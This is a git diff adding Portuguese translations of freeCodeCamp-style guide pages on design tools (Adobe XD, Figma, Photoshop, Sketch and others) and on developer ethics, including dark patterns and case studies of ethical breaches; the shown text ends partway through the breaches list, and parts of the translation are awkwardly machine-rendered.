+++ b/client/src/guide/portuguese/designer-tools/experience-design/index.md
@@ -0,0 +1,37 @@
+---
+title: Adobe Experience Design
+localeTitle: Adobe Experience Design
+---
+## Adobe Experience Design
+
+O Adobe Experience Design, também conhecido como Adobe XD, é uma ferramenta de prototipagem para designers de UX. É uma ferramenta criada especificamente para design de interface e experiência do usuário, ao contrário de outros produtos da Adobe, como o Photoshop e o Illustrator, destinados à edição de fotos e ao design gráfico. O Adobe XD está disponível para Windows e MacOS, ao contrário do Sketch, exclusivo do macOS.
+
+### Vantagens:
+
+*   ferramentas de prototipagem embutidas
+*   disponível no Windows e no MacOS
+*   visualização de dispositivo móvel
+*   kits de interface do usuário gratuitos
+*   interface muito limpa e elegante, ao contrário do Photoshop.
+*   fácil para os usuários do Sketch alternarem como a interface é muito semelhante
+*   recurso de repetição de grade
+*   incluem diretamente os recursos do Illustrator e do Photoshop
+
+### Desvantagens
+
+*   sem plugins disponíveis, ao contrário do Sketch, que tem um enorme ecossistema já em vigor
+*   opções limitadas de prototipagem; carece de muitos recursos de ferramentas de prototipagem dedicadas, como o InVision ou o Framer
+
+#### Mais Informações:
+
+Site oficial: [Adobe](https://www.adobe.com/in/products/experience-design.html)
+
+Guru XD: [xdguru.com](https://www.xdguru.com/)
+
+Adobe XD vs Sketch: [Sitepoint](https://www.sitepoint.com/adobe-xd-sketch-will-result-best-ux/)
+
+Por que a prototipagem com o Adobe XD é a solução de design mais completa: [Sitepoint](https://www.sitepoint.com/prototyping-with-adobe-xd/)
+
+E aqui está uma lista de reprodução de 36 vídeos para ajudar você a começar no Adobe XD: [Youtube](https://youtu.be/HqQtYIMnWhM)
+
+[Página de wikipedia do Adobe Experience Design](https://en.wikipedia.org/wiki/Adobe_Experience_Design)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/figma/index.md b/client/src/guide/portuguese/designer-tools/figma/index.md
new file mode 100644
index 0000000000..73a0d23b3b
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/figma/index.md
@@ -0,0 +1,33 @@
+---
+title: Figma
+localeTitle: Figma
+---
+## Figma
+
+O Figma é uma ferramenta de design de interface baseada no navegador, tornando mais fácil para as equipes criarem software. Ele se conecta à nuvem, permitindo que vários designers trabalhem no mesmo projeto simultaneamente.
+
+Ele possui um sistema de controle de versão embutido, como o Git, que permite que os projetistas projetem sem o medo de que os designs sejam substituídos ou excluídos por outros colegas de equipe.
+
+### Porquê Figma?
+
+*   Baseado em navegador
+*   O aplicativo de desktop está disponível para Mac e Windows (ao contrário do Sketch)
+*   Versões incorporadas
+*   Você pode importar seus arquivos do Sketch
+*   Tipografia forte e ferramentas gráficas vetoriais
+*   Tem um modo multijogador que torna a colaboração uma brisa
+*   Fácil integração com Zeplin e Avocode para exportar seus projetos
+
+A interface do usuário do Figma é muito fácil de usar para iniciantes. Se você já foi um antigo usuário do Sketch, você se sentirá em casa em pouco tempo.
+
+\* Se você não usou o Sketch antes, pode demorar um pouco para você se familiarizar.
+
+#### Mais Informações
+
+O site da [Figma](https://figma.com) - [Figma](https://figma.com)
+
+Figma vs Sketch: O Showdown - [esmagando a revista](https://www.smashingmagazine.com/2017/03/sketch-figma-showdown/)
+
+Outro smackdown, Figma vs Sketch - [Medium](https://medium.com/@mengto/figma-vs-sketch-c01e5e74eddd)
+
+Precisa de alguns tutoriais? Confira a série de vídeos oficiais da Figma: [Youtube](https://www.youtube.com/channel/UCQsVmhSa4X-G3lHlUtejzLA)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/framer/index.md b/client/src/guide/portuguese/designer-tools/framer/index.md
new file mode 100644
index 0000000000..b360d5b4e4
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/framer/index.md
@@ -0,0 +1,11 @@
+---
+title: Framer
+localeTitle: Framer
+---
+## Framer
+
+O Framer é um fluxo de trabalho completo para criar projetos interativos, seja sozinho ou em equipe. Com animações predefinidas, interações nativas pré-criadas e vários fluxos de aplicativos de tela, você pode criar e criar protótipos rapidamente de seus designs. O aspecto de design tem um layout automático e algoritmos de agrupamento inteligente, permitindo que o espaço de design interaja e responda aos vários elementos adicionados a ele e mantenha a hierarquia intacta. O Framer também suporta o Handoff, uma maneira simples de fornecer conversões precisas aos desenvolvedores quando o estágio de design estiver concluído.
+
+#### Mais Informações:
+
+Site oficial: [Framer](https://framer.com/features/) O site também tem vários [guias](https://framer.com/getstarted/guides/) oficiais sobre o uso do Framer.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/illustrator/index.md b/client/src/guide/portuguese/designer-tools/illustrator/index.md
new file mode 100644
index 0000000000..a5f0fc1d0d
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/illustrator/index.md
@@ -0,0 +1,16 @@
+---
+title: Illustrator
+localeTitle: Ilustrador
+---
+## Ilustrador
+
+O Illustrator é um programa da Adobe para criar e editar gráficos vetoriais. É uma ferramenta versátil usada por designers gráficos e ilustradores para ilustração 2D, design de layout, rastreamento e tipografia. É um software líder para designers, principalmente devido às suas funções versáteis e disponibilidade.
+
+A principal característica que separa o Adobe Illustrator do Photoshop é o uso de gráficos vetoriais. Os gráficos vetoriais constroem imagens usando declarações matemáticas que permitem que as imagens aumentem e diminuam de forma nítida o tamanho sem a redução da qualidade da imagem. O Adobe Photoshop usa gráficos de varredura que se concentram em uma tela de tamanho de pixel definido. Se fosse para escalar uma imagem raster para cima ou para baixo, os resultados se tornariam pixelados, causando bordas borradas ou ásperas. É por esse motivo que o Adobe Illustrator é normalmente usado para designs grandes e pequenos, desde ícones de software a outdoors.
+
+#### Mais Informações
+
+*   [Tutoriais do Adobe Illustrator](https://design.tutsplus.com/categories/adobe-illustrator)
+*   [Introdução ao design plano](https://design.tutsplus.com/tutorials/10-top-tips-on-creating-flat-design-graphics--cms-25888)
+*   [Criando ícones planas usando o ilustrador](https://design.tutsplus.com/tutorials/create-a-set-of-flat-precious-gems-icons-in-adobe-illustrator--vector-26188)
+*   [Tutoriais do Illustrator](https://helpx.adobe.com/illustrator/tutorials.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/index.md b/client/src/guide/portuguese/designer-tools/index.md
new file mode 100644
index 0000000000..a696565eb8
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/index.md
@@ -0,0 +1,38 @@
+---
+title: Designer Tools
+localeTitle: Ferramentas de Designer
+---
+## Ferramentas de Designer
+
+Nesta seção, teremos guias para uma ampla variedade de ferramentas usadas pelos designers.
+
+Estes são alguns deles:
+
+[Esboço](https://www.sketchapp.com) - [Guia](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/sketch/index.md)
+
+[Adobe Experience Design](www.adobe.com/products/experience-design.html) - [Guia](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/Experience-design/index.md)
+
+[Adobe Photoshop](http://adobe.com/Photoshop) - [Guia](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/photoshop/index.md)
+
+[Adobe Illustrator](http://adobe.com/Illustrator) - [Guia](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/illustrator/index.md)
+
+[Figma](https://www.figma.com) - [Guia](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/Figma/index.md)
+
+[Framer](https://framer.com) - [Guia](https://github.com/freeCodeCamp/guides/blob/master/src/pages/designer-tools/framer/index.md)
+
+[CLIP STUDIO PAINT](https://www.clipstudio.net/en)
+
+[Moqups](https://moqups.com/)
+
+[Krita](https://krita.org/en/homepage/)
+
+[MediBang Paint](https://medibangpaint.com/en/)
+
+[Autodesk Sketchbook](https://www.sketchbook.com/)
+
+Nesta seção, você pode ver os plug-ins populares do Firefox usados ​​pelos designers.
+
+Estes são alguns deles:
+
+*   [Seletor de cores](https://addons.mozilla.org/en-us/firefox/addon/colorzilla/?src=collection&collection_id=90e68e6a-f13f-5921-3412-5228262ca9db)
+*   [React Developer Tools](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/invision-studio/index.md b/client/src/guide/portuguese/designer-tools/invision-studio/index.md
new file mode 100644
index 0000000000..b8f03dfc5c
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/invision-studio/index.md
@@ -0,0 +1,14 @@
+---
+title: InVision Studio
+localeTitle: InVision Studio
+---
+## InVision Studio
+
+**OBSERVAÇÃO:** atualmente, o InVision Studio está disponível apenas na inscrição para acesso antecipado e somente no Mac. O InVision Studio é outra ferramenta de design de interface, como o [Sketch,](https://guide.freecodecamp.org/designer-tools/sketch) com recursos de prototipagem e animação perfeitamente integrados e ferramentas de comunicação fáceis de usar, com o objetivo de facilitar o design das equipes. Assim como o [Figma](https://guide.freecodecamp.org/designer-tools/figma) , o InVision Studio é construído sobre a capacidade de se conectar com o [InVision](https://www.invisionapp.com/) , permitindo que vários designers trabalhem no mesmo projeto simultaneamente. O InVision Studio é realmente fácil de usar e realisticamente limitado apenas pela imaginação e habilidade do usuário. A UI em si é limpa e fácil de entender, pois segue um layout semelhante a outros softwares, como o Sketch ou o Figma. ### Por que InVision Studio?
+
+*   Feito pelos caras que criaram o [InVision](https://www.invisionapp.com/)
+*   Prototipagem e animação de alta qualidade
+*   Biblioteca de ativos de alta qualidade para ajudar nas suas ideias
+*   Crie layouts adaptáveis ​​para um design responsivo mais rápido
+*   Integra-se com outros softwares como Dropbox, Slack, Jira e Trello
+*   Comunique-se perfeitamente com os membros da equipe que trabalham no mesmo projeto do InVision Studio #### Mais Informações InVision Studio - [InVision Studio](https://www.invisionapp.com/studio) O InVision Studio simplificará seu processo de design de produto? - [Budi Harto Tanrim](https://medium.com/@buditanrim/will-invision-studio-streamlined-your-product-design-process-8dc653bb03c8) Quer ver mais? Confira a série de vídeos oficiais da InVision: [Youtube](PLeWHfyz6lrQWT3HSzOBZMxta_4FcgogZB)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/photoshop/index.md b/client/src/guide/portuguese/designer-tools/photoshop/index.md
new file mode 100644
index 0000000000..55075bef9d
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/photoshop/index.md
@@ -0,0 +1,194 @@
+---
+title: Photoshop
+localeTitle: Photoshop
+---
+## Photoshop
+
+O Adobe Photoshop é um software de edição de imagens baseado em pixels (raster) que é usado por uma ampla variedade de criadores de conteúdo para criação e edição de gráficos / fotografias. Desenvolvedores ou designers normalmente usam o Photoshop para criar ou modificar ativos e fotografias para sites. Alguns desenvolvedores também usam o photoshop para designs e modelos de sites, mas outras ferramentas, como o Adobe Experience Design e o Sketch, estão sendo usadas com mais frequência. O Adobe Photoshop está disponível para Windows e Mac, mas atualmente não é Linux.
+
+Uma coisa comum que um desenvolvedor pode fazer no photoshop é modificar o tamanho e a resolução do pixel (72dpi para a web) de uma imagem para um uso adequado da web e modificar imagens para ter planos de fundo transparentes (usando filetypes .gif e .png). É uma prática comum reduzir o tamanho de uma imagem para ser o maior que será necessário usar em um site. Isso reduz o espaço do servidor e os tempos de carregamento, e o Photoshop é uma ferramenta para isso.
+
+### Resumo
+
+*   Software de edição de imagens baseado em raster
+*   Um arquivo do Photoshop é um .psd, pode exportar para a maioria dos tipos de arquivos de imagem.
+*   O Photoshop usa pixels. Certifique-se de criar ativos grandes o suficiente, já que o dimensionamento maior não é possível sem degradação.
+*   Downloads disponíveis para Windows e Mac através de assinaturas da Adobe.
+*   Tornando-se menos comumente usado para modelos de interface do usuário / website.
+*   Muitas ferramentas e recursos avançados para edição de fotos que podem não ser necessários para desenvolvedores.
+
+O Photoshop foi criado em 1988 e é o padrão da indústria para várias tarefas de manipulação de imagens, como:
+
+*   Manipulação de fotos, como recortar imagens, mudar cores rapidamente
+*   Criando [mock-ups](https://en.wikipedia.org/wiki/Mockup) para sites ou aplicativos
+*   Criando logotipos 1
+*   Criando [Ladrilhos de Estilo](http://styletil.es/)
+*   Criando ícones
+
+O Photoshop é usado por web designers, designers de aplicativos móveis, designers de UX e fotógrafos, entre outros profissionais do setor.
+
+### Como o Photoshop é diferente de outras ferramentas?
+
+Designers iniciantes geralmente querem saber a diferença entre o Photoshop e o Illustrator para entender qual ferramenta usar:
+
+O Photoshop cria imagens raster, o que significa que você consegue ver os pixels na imagem se você aproximar o zoom.
+
+O Illustrator, por outro lado, cria gráficos vetoriais. Os gráficos vetoriais podem ser redimensionados em qualquer formato sem qualquer pixelação.
+
+Por exemplo:
+
+![exemplo de vetor vs raster](https://raw.githubusercontent.com/cecyc/textures/master/vector-vs-raster.jpg)
+
+Uma fotografia é uma imagem rasterizada, uma ilustração é uma imagem vetorial.
+
+Escolha o Photoshop quando precisar trabalhar com uma combinação de formatos de mídia (fotografias, texto) ou quando não desejar redimensionar sem pixelação.
+
+### Instalação
+
+O Adobe Photoshop faz parte do conjunto de programas da Creative Cloud. Você pode instalar uma avaliação gratuita de 7 dias do Photoshop [através do site da Adobe](https://www.adobe.com/products/photoshop/free-trial-download.html) . Após o teste, você precisará selecionar uma opção de preço que funcione para você.
+
+Se tudo que você precisa é o Photoshop, você pode escolher a opção Single Application, que é de US $ 19,99 / mês, e inclui acesso ao TypeKit (uma boa fonte de fontes) e 20 GB de armazenamento.
+
+Alunos e professores podem obter um [desconto educacional aqui](http://www.adobe-students.com/creativecloud/buy/students.html) .
+
+### Noções básicas
+
+#### Começando um novo documento
+
+Quando você abre o Photoshop pela primeira vez, provavelmente verá uma caixa de diálogo perguntando se deseja:
+
+*   Abra um documento existente
+*   Crie um novo documento
+
+Se você não vir isto, você pode ir para `File` > `New...` ou usar o atalho de teclado `CMD` / `ctrl` + `N`
+
+Para projetos da web, você desejará escolher uma resolução mais baixa ou dpi (pontos por pixel). O padrão é de 72 dpi.
+
+Para projetos de impressão, você deve escolher uma resolução maior. Pelo menos 300 dpi é recomendado.
+
+#### Visão geral
+
+![Visualização da janela do Photoshop](https://raw.githubusercontent.com/cecyc/textures/master/photoshop-view.png)
+
+Quando você abre o Photoshop, você verá alguns componentes principais.
+
+A paleta de ferramentas à esquerda e a seção de paleta à direita.
+
+A paleta de ferramentas tem todas as ferramentas necessárias para manipular ou editar uma imagem (consulte a seção Ferramentas abaixo).
+
+Algumas ferramentas têm uma paleta própria, que você verá na seção de paletas à direita. Você pode controlar as paletas que você vê na visualização da paleta acessando `Window` e alternando as várias paletas disponíveis.
+
+A tela é o espaço de trabalho do seu projeto. Você pode mover elementos ao redor da tela e redimensionar a tela. Qualquer coisa que não esteja na tela não será visível.
+
+#### Ferramentas
+
+![Paleta de ferramentas do Photoshop](https://raw.githubusercontent.com/cecyc/textures/master/tools-palette.png)
+
+1.  Mover ferramenta: mova elementos ao redor da tela.
+    
+2.  Marquee tool: marque e edite uma seleção retangular ou circular em uma camada.
+    
+3.  Laço ferramenta: ferramenta de seleção de forma livre que você pode usar para desenhar uma área de seleção.
+    
+4.  Ferramenta de varinha mágica: faça uma seleção de uma cor específica em uma imagem.
+    
+5.  Ferramenta de recorte: recorte o tamanho da sua tela.
+    
+6.  Ferramenta Conta-gotas: selecione uma cor de uma imagem e carregue-a na sua paleta de cores.
+    
+7.  Ferramenta de pincel de recuperação de pontos: clonar uma área de uma imagem e mesclá-la em uma parte diferente da imagem. Use-o para retocar e misturar.
+    
+8.  Ferramenta de pincel: desenho de forma livre.
+    
+9.  Ferramenta Clone Stamp: copie e cole certos pixels de uma imagem. Use para retocar.
+    
+10.  Pincel histórico: restaura as cores e outras propriedades para uma imagem baseada no histórico. Use-o para corrigir erros.
+    
+11.  Ferramenta Eraser: apagamento de forma livre.
+    
+12.  Ferramenta Balde de tinta: preencha uma seleção com cor (cor de primeiro plano padrão).
+    
+13.  Ferramenta de desfoque: desfocagem de forma livre de uma imagem.
+    
+14.  Ferramenta Dodge: ilumine uma seção de uma imagem.
+    
+15.  Ferramenta Caneta: use para desenhar um caminho ou fazer uma seleção com maior precisão.
+    
+16.  Ferramenta de tipo horizontal: digite o texto em uma linha horizontal (cor de primeiro plano padrão).
+    
+17.  Ferramenta de seleção de caminho: selecione um caminho desenhado.
+    
+18.  Ferramenta de forma personalizada: selecione uma variedade de predefinições de forma para desenhar na tela.
+    
+19.  Ferramenta manual: mova-se pela tela.
+    
+20.  Ferramenta de lupa: amplie ou reduza a tela.
+    
+
+Na parte inferior, você pode definir as cores de primeiro plano e plano de fundo. Você pode alternar rapidamente as cores do primeiro plano e do plano de fundo pressionando a tecla `x` .
+
+#### Camadas
+
+A paleta de camadas é acessível do lado direito da janela na seção paletas.
+
+Um projeto é composto de várias camadas. Cada elemento no projeto é sua própria camada. Camadas são empilháveis.
+
+No exemplo abaixo, a camada "círculo" está no topo da camada "A" na paleta de camadas. Isso significa que o círculo é renderizado na parte superior da letra "A" na tela.
+
+Toda vez que você quiser evitar que uma camada seja ajustada de forma casual, poderá bloqueá-la selecionando-a na janela de camadas e pressionando o botão de bloqueio.
+
+Você também pode dar um título para cada camada. Essa é uma boa prática em particular quando você trabalha com composições complexas. Basta clicar duas vezes no título da camada na janela de camadas para renomeá-lo. Que é um bom segway em usar pastas, o que você também deve fazer para boas práticas em grandes projetos.
+
+![Paleta de camadas](https://raw.githubusercontent.com/cecyc/textures/master/layers.png)
+
+#### Importando fontes
+
+Uma licença do Photoshop Creative Cloud vem com uma conta gratuita do [Typekit](https://typekit.com/) . Typekit é uma fundição de fontes onde você pode encontrar fontes para uso digital ou de impressão.
+
+Para adicionar fontes do Typekit:
+
+1.  Selecione a ferramenta Horizontal Type na paleta Tools.
+2.  Clique no seletor de fonte suspenso no canto superior esquerdo.
+3.  Clique em `add fonts from Typekit`
+
+![Adicionar fontes do Typekit](https://raw.githubusercontent.com/cecyc/textures/master/add-from-typekit.png)
+
+Isso abrirá uma janela do navegador e levará você ao site do Typekit, onde você pode adicionar fontes à sua conta do Photoshop Creative Cloud (certifique-se de ter efetuado login com as credenciais da sua conta da Adobe). Uma vez adicionados à sua conta, essas fontes estarão disponíveis quando você usar a ferramenta Tipo.
+
+#### Exportando arquivos
+
+Clique em `File` > `Export` .
+
+Você pode então selecionar `Quick export to PNG` , que na maioria dos casos é bom para uso na web.
+
+Se você precisar de outro formato, selecione `File` > `Export` > `Export as...` Lá, você pode selecionar entre `PNG` , `JPG` ou `GIF` .
+
+### Atalhos de teclado do Photoshop
+
+| Atalhos de ferramentas | MAC | WIN | | -------------------------- | ------ | ------ | | Mover ferramenta | V | V |  
+| Marquise retangular | M | M |  
+| Ferramenta de letreiro elíptico | M | M | | Ferramenta Lasso | L | L | | Ferramenta laço poligonal | L | L | | Ferramenta magnética Laço | L | L | | Ferramenta Varinha Mágica | W | W | | Ferramenta de Seleção Rápida | W | W | | Ferramenta de colheita | C | C | | Ferramenta fatia | C | C | | Fatia Selecione ferramenta | C | C | | Conta-gotas | Eu | Eu | | Ferramenta Color Sampler | Eu | Eu | | Ferramenta Régua | Eu | Eu | | Nota ferramenta | Eu | Eu | | Ferramenta de contagem | Eu | Eu | | Ferramenta Pincel de Recuperação para Manchas | J | J | | Pincel de recuperação | J | J | | Ferramenta de correção | J | J | | Ferramenta Red Eye | J | J | | Ferramenta de pincel | B | B | | Ferramenta de lápis | B | B | | Ferramenta de Substituição de Cor | B | B | | Pincel misturador | B | B | | Ferramenta Clone Stamp | S | S | | Padrão carimbo ferramenta | S | S |
+
+### Alternativas ao Photoshop
+
+*   [Pixelmator](http://www.pixelmator.com/mac/) (apenas para Mac)
+*   [GIMP](https://www.gimp.org/) (Mac e PC)
+
+### Alternativas on-line para o Photoshop
+
+*   [Pixlr](https://pixlr.com/)
+*   [Photopea](https://www.photopea.com/) (a única ferramenta online para editar arquivos .psd)
+
+#### Notas de rodapé
+
+1.  Embora você possa projetar logotipos no Photoshop, a maioria dos designers optou por usar o Illustrator para logotipos, pois o Illustrator cria imagens vetoriais que facilitam o redimensionamento de logotipos para vários usos, como pequenos logotipos para cartões de visita ou grandes logotipos.
+2.  Você pode criar seus próprios pincéis no Photoshop, usando a opção Brush Preset. Você também pode importar pincéis. Isso permite que você não se limite a determinados pincéis padrão.
+3.  É mais fácil e melhor usar o Photoshop caso você esteja fazendo obras de arte usando tablets gráficos, já que você tem várias opções de pincéis, algo que não existe no Illustrator.
+
+#### Mais Informações:
+
+*   [Website oficial](https://www.adobe.com/products/photoshop.html)
+*   [Gráficos de raster vs. vetor](https://www.psprint.com/resources/difference-between-raster-vector/)
+*   [Aprenda e suporte](https://helpx.adobe.com/support/photoshop.html?promoid=5NHJ8FD2&mv=other)
+
+Alternativas: Gimp (disponível no Linux e grátis)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/designer-tools/sketch/index.md b/client/src/guide/portuguese/designer-tools/sketch/index.md
new file mode 100644
index 0000000000..c829cbf539
--- /dev/null
+++ b/client/src/guide/portuguese/designer-tools/sketch/index.md
@@ -0,0 +1,36 @@
+---
+title: Sketch
+localeTitle: Esboço
+---
+## Esboço
+
+Sketch é um aplicativo de design profissional para o Mac que utiliza um fluxo de trabalho baseado em vetor. A interface é limpa e convidativa para novos usuários, além de ser uma ferramenta familiar para os usuários do Adobe Fireworks. O Sketch tornou-se uma ferramenta alternativa popular para o Photoshop para usuários que não precisam de uma abundância de opções para designs de interfaces.
+
+### Por que esboçar?
+
+*   Reutilize facilmente elementos
+*   Prototipagem
+*   Colabore com os outros
+*   Muitos plugins
+*   Exportar arquivos em vários formatos, como png, svg etc. Mesmo versões 2x retina exibe com facilidade
+*   Vasta comunidade
+*   Copie facilmente atributos CSS de elementos de design
+*   Guia de estilo de exportação em fácil de ler HTML / CSS
+
+### Por que devo mudar para o esboço?
+
+O Sketch foi projetado para criar produtos digitais em vez de editar fotos e imprimir gráficos. A interface limpa do Sketch ajuda a mantê-lo organizado ao criar ou projetar seus projetos de UI / UX. Os quadros de arte que o Sketch usa impõem uma grade de pixels para designs precisos. A exportação de designs é simples e suporta diferentes resoluções de dispositivos.
+
+### Plugins úteis para Sketch
+
+*   [Zeplin - Gera e exporta ativos de design e guias de estilo](https://zeplin.io/)
+*   [Sketch IconFont - Ajuda a inserir e gerenciar facilmente ícones de fontes de ícones](https://github.com/keremciu/sketch-iconfont)
+*   [Mirr.io - Pré-visualização de protótipos em qualquer navegador em qualquer dispositivo do Sketch](https://mirr.io/)
+
+#### Mais Informações:
+
+*   [Esboço](https://www.sketchapp.com)
+*   [Documentação de esboço](https://www.sketchapp.com/docs/)
+*   [Aprenda Esboço](http://learnsketch.com/tutorials)
+*   [Fontes de aplicativo de esboço](https://www.sketchappsources.com/)
+*   [YouTube - curso intensivo de esboço](https://www.youtube.com/playlist?list=PLWlUJU11tp4fEXI8deWhBQAHDv9R23WHB)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-ethics/case-studies/index.md b/client/src/guide/portuguese/developer-ethics/case-studies/index.md
new file mode 100644
index 0000000000..d03acfbd23
--- /dev/null
+++ b/client/src/guide/portuguese/developer-ethics/case-studies/index.md
@@ -0,0 +1,30 @@
+---
+title: Case Studies
+localeTitle: Estudos de caso
+---
+## Estudos de caso
+
+O Instituto de Pesquisa de Ética em Engenharia de Software do Departamento de Ciência da Computação e Informação da East Tenesee State University publicou uma série de Estudos de Caso para ajudar a sensibilizar desenvolvedores de software e estudantes para os vários tipos de dilemas éticos que podem enfrentar. [O padrão internacional para software profissional Desenvolvimento e Responsabilidade Ética](http://seeri.etsu.edu/TheSECode.htm) formam a base para grande parte da análise em cada caso.
+
+Casos:
+
+*   [**Big Brother Spyware**](http://seeri.etsu.edu/SECodeCases/ethicsC/BigBrother.htm) - Aumenta as questões da tensão entre privacidade, segurança e denúncia em um ambiente pós 11 de setembro.
+    
+*   [**Registros Computadorizados de Pacientes**](http://seeri.etsu.edu/SECodeCases/ethicsC/Computerized%20Patient%20Records.htm) - O caso usa registros de pacientes para examinar a responsabilidade do desenvolvedor pela segurança da informação. Avalia uma série de alternativas.
+    
+*   [**Death By Wire**](http://seeri.etsu.edu/SECodeCases/ethicsC/DeathByWire.htm) - O caso aborda questões que surgem da mudança de controle de sistemas baseados mecanicamente para sistemas puramente eletrônicos / computacionais. Explora uma situação em que esse processo foi estendido para veículos pesados. Ele também analisa o que acontece quando o controle de equipamentos críticos de segurança é entregue a um computador.
+    
+*   [**Carteiras Digitais e Denúncias**](http://seeri.etsu.edu/SECodeCases/ethicsC/DigitalWallets.htm) - Isto é baseado em um caso real envolvendo segurança e inclui uma análise da decisão relacionada a quando e como denunciar o golpe.
+    
+*   [**For Girls Only**](http://seeri.etsu.edu/SECodeCases/ethicsC/ForGirlsOnly.htm) - Este caso analisa um caso real de preconceito de gênero no desenvolvimento de software.
+    
+*   [**Nanotecnologia: engula esse chip**](http://seeri.etsu.edu/SECodeCases/ethicsC/NanoTechnology.htm) - Este gabinete usa o veículo da nanotecnologia para explorar maneiras de abordar questões de privacidade e segurança que enfrentam os desenvolvedores de software…
+    
+*   [**Caso de míssil Patriot**](http://seeri.etsu.edu/SECodeCases/ethicsC/PatriotMissile.htm) - Esta peça examina a importância do gerenciamento de configuração e design eficaz como eles se relacionam com o desastre de mísseis Patriot.
+    
+*   [**Therac-25**](http://users.csc.calpoly.edu/~jdalbey/SWE/Papers/THERAC25.html) - Este caso destaca o perigo de controles baseados em software em sistemas com risco de vida.
+    
+
+#### Mais Informações
+
+Informações adicionais estão disponíveis através do [Instituto de Pesquisa de Ética em Engenharia de Software](http://seeri.etsu.edu)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-ethics/dark-patterns/index.md b/client/src/guide/portuguese/developer-ethics/dark-patterns/index.md
new file mode 100644
index 0000000000..1f99a35c6a
--- /dev/null
+++ b/client/src/guide/portuguese/developer-ethics/dark-patterns/index.md
@@ -0,0 +1,34 @@
+---
+title: Dark Patterns
+localeTitle: Padrões escuros
+---
+## Padrões escuros
+
+Padrões escuros são padrões comuns usados ​​para enganar os usuários de um site ou aplicativo da web.
+
+Exemplos incluem:
+
+*   [**Isca e Switch**](https://darkpatterns.org/types-of-dark-pattern/bait-and-switch) - Um usuário decide fazer uma coisa, mas uma coisa diferente e indesejável acontece.
+    
+*   [**Anúncios disfarçados**](https://darkpatterns.org/types-of-dark-pattern/disguised-ads) - Anúncios disfarçados como outros tipos de conteúdo ou navegação, para que os usuários cliquem neles.
+    
+*   [**Continuidade Forçada**](https://darkpatterns.org/types-of-dark-pattern/forced-continuity) - Cobrar silenciosamente o cartão de crédito de um usuário sem avisar no final de uma avaliação gratuita.
+    
+*   [**Amigo Spam**](https://darkpatterns.org/types-of-dark-pattern/friend-spam) - Um site ou aplicativo solicita o e-mail ou as permissões de mídia social de um usuário sob o pretexto de que ele será usado para um resultado desejável (por exemplo, encontrar amigos), mas emita todos os contatos do usuário em uma mensagem que seja daquele usuário .
+    
+*   [**Custos ocultos**](https://darkpatterns.org/types-of-dark-pattern/hidden-costs) - Na última etapa de um processo de check-out, apenas para descobrir algumas cobranças inesperadas, por exemplo, despesas de entrega, impostos, etc., que não foram divulgadas antes do processamento do pagamento do usuário.
+    
+*   [**Misdirection**](https://darkpatterns.org/types-of-dark-pattern/misdirection) - O design propositalmente concentra a atenção dos usuários em uma coisa, a fim de distrair sua atenção de outra.
+    
+*   [**Prevenção de comparação de preços**](https://darkpatterns.org/types-of-dark-pattern/price-comparison-prevention) - Um varejista on-line dificulta a comparação do preço de um item com outro item por parte do visitante, para que ele não tome uma decisão informada.
+    
+*   [**Privacidade Zuckering**](https://darkpatterns.org/types-of-dark-pattern/privacy-zuckering) - Os usuários são induzidos a compartilhar publicamente mais informações sobre si mesmos do que pretendiam. Nomeado após o CEO do Facebook, Mark Zuckerberg.
+    
+*   [**Roach Motel**](https://darkpatterns.org/types-of-dark-pattern/roach-motel) - O design torna muito fácil para os usuários entrarem em uma determinada situação, mas dificulta que eles saiam dele (por exemplo, uma assinatura).
+    
+*   [**Sneak Into Basket**](https://darkpatterns.org/types-of-dark-pattern/sneak-into-basket) - Um usuário tenta comprar algo, mas em algum lugar da jornada de compra, o site insere um item adicional em sua cesta, geralmente por meio do uso de um botão de opção ou de uma caixa de seleção em uma página anterior.
+    
+*   [**Perguntas enganosas**](https://darkpatterns.org/types-of-dark-pattern/trick-questions) - Os usuários são feitos para responder a uma pergunta, a qual, quando vista rapidamente, aparece para perguntar uma coisa, mas, se lida com cuidado, pede outra coisa completamente.
+    
+
+Um catálogo de Padrões Escuros, juntamente com uma lista continuamente atualizada de exemplos do mundo real, é mantido em [darkpatterns.org](https://darkpatterns.org) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-ethics/ethical-breaches/index.md b/client/src/guide/portuguese/developer-ethics/ethical-breaches/index.md
new file mode 100644
index 0000000000..01b9a10ae5
--- /dev/null
+++ b/client/src/guide/portuguese/developer-ethics/ethical-breaches/index.md
@@ -0,0 +1,23 @@
+---
+title: Ethical Breaches
+localeTitle: Violações Éticas
+---
+## Violações Éticas
+
+Tem havido uma série de casos bem divulgados em que o software foi usado para enganar os usuários ou até mesmo violar a lei. No centro desses casos está uma quebra de ética por parte de um ou mais desenvolvedores. Tais casos incluem:
+
+*   [**Uber Greyball**](http://www.businessinsider.com/uber-greyball-app-vtos-authorities-2017-3?op=1) - uma ferramenta criada pela empresa Uber, que coleta dados do aplicativo do Uber para identificar e fugir de autoridades em várias cidades.
+    
+*   [**Escândalo de Emissão de Volkswagon**](https://en.wikipedia.org/wiki/Volkswagen_emissions_scandal) - Volkswagen intencionalmente programou motores a diesel de injeção direta turboalimentada (TDI) para ativar alguns controles de emissões somente durante os testes de emissões de laboratório. A programação fez com que a saída de óxido de nitrogênio dos veículos atendesse aos padrões dos EUA durante os testes regulatórios, mas emitia até 40 vezes mais óxido de nitrogênio na condução do mundo real.
+    
